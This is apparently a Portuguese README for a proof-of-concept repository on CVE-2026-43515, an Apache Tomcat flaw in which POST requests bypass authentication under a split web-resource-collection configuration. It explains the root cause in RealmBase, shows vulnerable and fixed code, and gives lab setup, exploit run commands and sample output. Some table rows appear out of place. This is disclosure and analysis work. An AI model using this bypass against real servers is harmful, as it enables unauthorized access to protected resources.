
Prova de Conceito de exploração para CVE-2026-43515 (bypass de restrição do Apache Tomcat).
Veredito de explorabilidade: confirmado como explorável. Uma requisição POST para um recurso protegido por uma configuração dividida de
<web-resource-collection>ignora completamente a autenticação. O formato necessário deweb.xmlé incomum em implantações padrão — veja Analysis para detalhes.
CVE-2026-43515 é uma vulnerabilidade na lógica de avaliação de restrições de segurança do Apache Tomcat. Quando um único <security-constraint> define múltiplos blocos <web-resource-collection> que compartilham o mesmo padrão de extensão de URL (ex.: *.html) mas cada um declara um método HTTP diferente, o Tomcat aplica a restrição apenas para o método HTTP declarado na primeira coleção correspondente. Todas as coleções subsequentes são silenciosamente ignoradas.
A intenção do administrador:
<security-constraint>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>GET</http-method> <!-- collection[0] -->
</web-resource-collection>
<web-resource-collection>
<url-pattern>*.html</url-pattern>
<http-method>POST</http-method> <!-- collection[1] — descartado silenciosamente -->
</web-resource-collection>
<auth-constraint>
<role-name>admin</role-name>
</auth-constraint>
</security-constraint>
O que o Tomcat pré-correção realmente impõe:
GET *.html → 401 — restrição aplicada ✓POST *.html → 200 — restrição descartada silenciosamente ✗| Faixa afetada | Corrigido em |
|---|---|
| 7.0.0 – 7.0.109 | 7.0.110 |
| 8.5.0 – 8.5.100 | 8.5.101 |
| 9.0.0.M1 – 9.0.117 | 9.0.118 |
O bug reside em findSecurityConstraints(Request, Context) em org.apache.catalina.realm.RealmBase. As flags matched e o índice pos foram declaradas fora do loop por coleção:
// RealmBase.java — vulnerável
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
// correspondência de padrão define matched = true e pos = j
// na PRIMEIRA coleção correspondente ...
}
if (matched) {
if (collection[pos].findMethod(method)) { // pos congelado em 0
results.add(constraints[i]);
}
}
Uma vez que collection[0] correspondeu ao padrão de extensão *.html, pos foi congelado em 0. A chamada findMethod("POST") foi então executada contra collection[0] (que declara apenas GET) e retornou false. Nenhuma restrição foi adicionada a results para a requisição POST, e AuthenticatorBase concluiu que a requisição não estava sujeita a nenhuma restrição.
A correção (commit 276087d) move matched para dentro do loop e substitui collection[pos] por collection[j], de modo que cada coleção é avaliada independentemente:
// RealmBase.java — corrigido
for (int j = 0; j < collection.length; j++) {
boolean matched = false; // ← movido para dentro do loop
// correspondência de padrão ...
if (matched) {
found = true;
if (collection[j].findMethod(method)) { // ← j, não pos
if (results == null) {
results = new ArrayList<>();
}
results.add(constraints[i]);
}
}
}
O bypass está confirmado e é reproduzível. O log detalhado do Tomcat torna o mecanismo inequívoco:
// GET — restrição aplicada corretamente
AuthenticatorBase.invoke Calling authenticate()
AuthenticatorBase.invoke Failed authenticate() test → 401
// POST — restrição descartada silenciosamente
AuthenticatorBase.invoke Not subject to any constraint → 200
A vulnerabilidade só é acionada sob um padrão específico de web.xml: um único <security-constraint> com múltiplos blocos <web-resource-collection> que compartilham o mesmo padrão de extensão mas declaram métodos HTTP diferentes.
Esta configuração é válida de acordo com a especificação Servlet, mas incomum na prática. A maioria das implantações:
<http-method> completamente (protegendo todos os métodos), ou<security-constraint> separados por métodoImplantações que usam o padrão de coleção dividida para aplicar controle de acesso refinado por método em padrões de extensão estão expostas.
cve-2026-43515-poc/
├── Dockerfile # Tomcat 11.0.0-M1 (versão afetada)
├── tomcat-users.xml # Um usuário válido: validuser:s3cret! / role: admin
├── web.xml # Configuração acionadora: web-resource-collection dividido
├── logging.properties # Logging em nível FINE para observar a avaliação de restrição
└── exploit/
├── exploit.go # PoC — Go
| Ferramenta | Versão | Observações |
|---|---|---|
| Podman | ≥ 4.0 | Docker também funciona |
| Go | ≥ 1.22 | Para executar o exploit localmente |
Nenhuma dependência externa de Go.
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
-p 8080:8080 \
-v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
tomcat-cve-2026-43515
Aguarde alguns segundos, então verifique:
curl -si http://localhost:8080/protected/secret.html | head -1
# Esperado: HTTP/1.1 401
cd exploit
go run exploit.go \
-target http://localhost:8080 \
-path /protected/secret.html \
-username validuser \
-password s3cret!
Flags disponíveis:
podman stop tomcat-vuln && podman rm tomcat-vuln
═══════════════════════════════════════════════════
CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────
Probe 1 — GET sem credenciais
Esperado: 401 (restrição aplicada a collection[0])
[1] GET (sem credenciais) → HTTP 401 ← ✓ restrição aplicada conforme esperado
Probe 2 — POST sem credenciais ← a sonda do exploit
Esperado em Tomcat VULNERÁVEL: 200 (restrição NÃO aplicada)
[2] POST (sem credenciais) → HTTP 200 ← ✗ BYPASS CONFIRMADO — restrição não aplicada para POST
Probe 3 — GET com credenciais válidas (verificação)
Esperado: 200 (acesso autenticado concedido)
[3] GET (com credenciais) → HTTP 200 ← ✓ acesso autenticado concedido
───────────────────────────────────────────────────
VEREDITO: VULNERÁVEL
| Recurso | Link |
|---|---|
| Commit de correção — 11.0.x | apache/tomcat@276087d |
| Análise completa — post no blog | return-zero.dev/posts/cve-2026-43515 |
Este repositório destina-se apenas a fins educacionais e análise de explorabilidade local. Todos os testes foram realizados em um ambiente de container auto-hospedado. Não execute este PoC contra sistemas que não sejam de sua propriedade ou para os quais você não tenha autorização explícita por escrito para testar.
| 10.1.0.M1 – 10.1.54 |
| 10.1.55 |
| 11.0.0.M1 – 11.0.21 | 11.0.22 |
| Flag | Padrão | Descrição |
|---|
-target | http://localhost:8080 | URL base do Tomcat |
-path | /protected/secret.html | Caminho do recurso protegido |
-username | validuser | Nome de usuário válido para verificação |
-password | s3cret! | Senha para verificação |